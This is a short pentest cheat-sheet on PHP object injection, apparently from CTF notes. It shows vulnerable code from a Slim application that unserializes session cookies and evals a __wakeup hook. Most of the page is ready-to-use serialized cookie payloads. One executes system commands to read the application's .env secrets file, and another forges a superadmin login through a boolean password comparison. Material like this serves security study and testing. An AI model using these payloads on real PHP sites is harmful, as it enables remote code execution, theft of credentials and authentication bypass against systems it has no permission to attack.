PHP Serialization

Resources

https://www.owasp.org/index.php/PHP_Object_Injection


PHP Serialisation (PHP Slim __wakeup)

# Context - \App\Controller\Confidential.php
$systemCall = new SystemCall('system("ls");');

        if($rank === UserRankService::ADMIN_RANK){
            $app->render('front/confidential.twig', array('admin' => $rank, 'systemCall' => $systemCall));
        }else {
            $app->redirect('/connexion', '/connexion', 301);
        }
# Context - \Slim\Middleware\SessionCookie.php
if ($value) {
            try {
                $_SESSION = unserialize($value);
            } catch (\Exception $e) {
                $this->app->getLog()->error('Error unserializing session cookie value! ' . $e->getMessage());
            }
# Context - \App\Service\SystemCall.php
class SystemCall
{
    public $hook;
    public $result;

    function __construct($hook)
    {   $this->hook = $hook;    }

    function __wakeup()
    {   $this->result = eval($this->hook);  }

    function call()
    {   $this->__wakeup();  }
}
# You can override the __wakeup() method by crafting your own object and then inject it to execute command
# The cookie value is unserialized and then evaluated
# Base cookie
a:2:{s:10:"slim.flash";a:0:{}s:11:"Utilisateur";i:0;}

# Create object to see what it looks like
<?php
class SystemCall
{ private $hook = "phpinfo();"; }
print urlencode(serialize(new SystemCall));
?>

# Object you want to inject
O:22:"App\Service\SystemCall":2:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";s:6:"result";N;}

# Final cookie (URL encode it)
a:3:{s:10:"slim.flash";a:0:{}s:3:"Lol";O:22:"App\Service\SystemCall":2:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";s:6:"result";N;}s:11:"Utilisateur";i:0;}

# You can simplify it
# You only need a string to initialize the object (to name it)
# The array is not necessary
# As long as you don't need to be admin, you can remove the user part
a:1:{s:10:"slim.flash";O:22:"App\Service\SystemCall":1:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";}}


PHP Serialisation

# Unserialize() is used to store every object as a string
# Initial cookie unserialized
'a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";}'

# Code
if ($data['password'] == $auth[ $data['login'] ] ) {
     $_SESSION['login'] = $data['login'];

# Payload cookie (using a boolean)
'a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}'